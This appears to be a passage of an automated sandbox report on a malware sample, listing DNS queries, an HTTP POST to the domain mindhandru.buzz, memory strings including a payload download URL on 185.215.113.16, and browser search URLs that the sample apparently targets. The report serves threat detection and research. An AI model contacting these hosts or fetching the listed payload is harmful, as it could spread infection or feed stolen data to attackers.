d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: JpzbUfhXi0.exe, 00000000.00000002.2438911710.0000000005D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215
Source: JpzbUfhXi0.exe, 00000000.00000003.2360653021.000000000168C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: JpzbUfhXi0.exe, 00000000.00000003.2360653021.000000000168C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16//5
Source: JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001602000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001602000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: JpzbUfhXi0.exe, 00000000.00000002.2433690566.00000000012FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001602000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exei
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: JpzbUfhXi0.exe, 00000000.00000003.2082189721.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2335762842.000000000166F000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001665000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2189381009.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2194627468.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_91.5.dr	String found in binary or memory: http://schema.org/Organization
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_91.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_91.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_91.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_91.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_91.5.dr	String found in binary or memory: https://github.com/nschonni
Source: chromecache_91.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: JpzbUfhXi0.exe, 00000000.00000003.2189632205.0000000005D35000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2162456705.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2163839775.0000000005D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: JpzbUfhXi0.exe, 00000000.00000003.2209114525.0000000005D32000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2189632205.0000000005D35000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2162456705.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2163839775.0000000005D34000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2194733614.0000000005D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/8E
Source: JpzbUfhXi0.exe, 00000000.00000003.2336017574.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2082189721.000000000161B000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2189381009.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2194627468.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2188933098.0000000001688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: JpzbUfhXi0.exe, 00000000.00000003.2082189721.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiK
Source: JpzbUfhXi0.exe, 00000000.00000003.2189587214.000000000168C000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2188933098.0000000001688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apis
Source: JpzbUfhXi0.exe, 00000000.00000003.2189587214.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/p
Source: JpzbUfhXi0.exe, 00000000.00000003.2209032236.000000000169D000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2189587214.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: JpzbUfhXi0.exe, 00000000.00000003.2209032236.000000000169D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/zo
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_103.5.dr	String found in binary or memory: https://schema.org
Source: JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_103.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_122.5.dr, chromecache_103.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49716 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: JpzbUfhXi0.exe	Static PE information: section name:
Source: JpzbUfhXi0.exe	Static PE information: section name: .rsrc
Source: JpzbUfhXi0.exe	Static PE information: section name: .idata

Source: JpzbUfhXi0.exe, 00000000.00000003.2294452985.000000000603B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2296427617.0000000006676000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2300967027.00000000066C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2295837720.0000000006684000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2335283521.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2307591147.000000000683C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2306267024.0000000006701000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2308275409.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2297146116.00000000065E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2306825125.00000000065D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2304545854.00000000066E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2309527895.000000000672F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2299827485.00000000065DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2302781596.00000000066D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2305517930.00000000066F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2309850627.000000000672A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2299294628.00000000066AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2297788882.00000000065DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2300294251.00000000066BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2309676422.00000000065DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2301171184.00000000065DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2335238984.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2300193385.00000000065E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2299675119.00000000066B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2294707916.000000000603A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2305946566.0000000006702000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2335106029.0000000005E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2304072591.0000000006805000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2302393399.00000000066CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000002.2440191250.00000000066D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2294219556.0000000005ECB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2308430029.0000000006716000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2303424256.00000000067F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2300527994.00000000066AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2306122655.00000000065D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2335709453.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2303550762.00000000065DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2303671912.00000000066EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2299146981.00000000065DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2297051135.000000000672E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2296322437.00000000065DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2303288565.00000000066E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000002.2440789121.0000000006B51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2308896829.00000000065D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2300642733.000000000678F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2303792412.00000000065D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2305255237.00000000065DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2334982012.00000000061D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs JpzbUfhXi0.exe
